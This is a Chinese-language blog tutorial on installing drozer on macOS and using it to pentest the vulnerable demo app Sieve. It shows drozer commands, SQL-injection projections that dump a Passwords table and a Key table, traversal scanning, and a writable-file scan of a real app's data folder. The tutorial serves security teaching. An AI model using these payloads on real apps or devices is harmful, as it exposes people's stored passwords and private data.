环境配置
按照官网上的安装步骤安装后,原本可以使用,但是Mac升级后drozer连接时总是出现错误:
1 | [Errno 35] 'Resource temporarily unavailable' |
网上查了好多,没有解决办法,最后决定重新编译安装github上的drozer源码。
安装过程中发现缺少了很多库,应该是缺少环境所以会连接错误。
主要错误是:
1 | zipimport.ZipImportError: can’t decompress data; zlib not available |
和
1 | fatal error: 'openssl/opensslv.h' file not found |
需要重新编译安装zlib、openssl两个库,因为Mac升级后好像不支持openssl
的头文件了。安装后还需要重新编译安装python源码,以加入zlib
和ssl
的支持。
drozer编译过程中还会提示缺少其他python库,使用:
1 | $ sudo pip install twisted==10.2.0 |
进行安装即可,这里要注意一定要按照错误提示指定安装库的版本,因为drozer只认这个版本,高于或低于都会报错。
使用方法
运行drozer会话
1 | $ adb forward tcp:31415 tcp:31415 #adb forward tcp:local_port tcp:remote_port |
出现dz>
提示符说明连接成功。
枚举安装的包
1 | dz> run app.package.list # 列出设备中所有已安装的包 |
其他的命令也都可以通过-h
参数查看使用说明。
1 | # 枚举activity |
确定应用的受攻击面
1 | dz> run app.package.attacksurface [package name] |
运行Activity
1 | dz> run app.activity.start --action android.intent.action.MAIN --category android.intent.category.LAUNCHER --component com.example.hello com.example.hello.MainActivity |
运行Service
1 | dz> run app.service.start --component com.linkedin.android com.linkedin.android.authenticator.AuthenticationService |
用drozer做渗透测试
从官网下载演示的漏洞APP sieve.apk
A ‘Password Manager’ App, showcasing some common Android vulnerabilities.
在手机上安装这个APP后,用drozer进行渗透测试。
1.获取包名
1 | dz> run app.package.list -f sieve |
2.获取应用的基本信息
1 | dz> run app.package.info -a com.mwr.example.sieve |
3.确定attack surface
1 | dz> run app.package.attacksurface com.mwr.example.sieve |
4.Activity
(1) 获取Activity信息
1 | dz> run app.activity.info -a com.mwr.example.sieve |
(2) 启动Activity
1 | dz> run app.activity.start --component com.mwr.example.sieve |
5.Content Provider
(1) 获取Content Provider信息
1 | dz> run app.provider.info -a com.mwr.example.sieve |
(2) Content Provider数据泄露
先获取所有可以访问的Uri:
1 | dz> run scanner.provider.finduris -a com.mwr.example.sieve |
获取各个Uri的数据
1 | dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical |
查询到数据说明存在漏洞
(3)Content Provider SQL注入
1 | dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "'" |
报错说明存在SQL注入
列出所有表:
1 | dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from sqlite_master where type='table';--" |
获取某个表中的数据
1 | dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* from Key;--" |
(4) 同时检测SQL注入和目录遍历
1 | dz> run scanner.provider.injection -a com.mwr.example.sieve |
6.Service
获取Service详情
1 | dz> run app.service.info -a com.mwr.example.sieve |
不使用drozer启动service
1 | shell@hammerhead:/$ am startservice -n package.name/.SerivceName |
7.Broadcast Receiver
1 | dz> run app.broadcast.info # 获取broadcast receiver信息 |
8.文件操作
列出指定文件路径里全局可写/可读的文件
1 | dz> run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo |
9.其他模块
1 | dz> shell.start # 在设备上开启一个交互shell |
reference
《Android安全攻防实战》
http://www.cnblogs.com/goodhacker/p/3906180.html?utm_source=tuicool&utm_medium=referral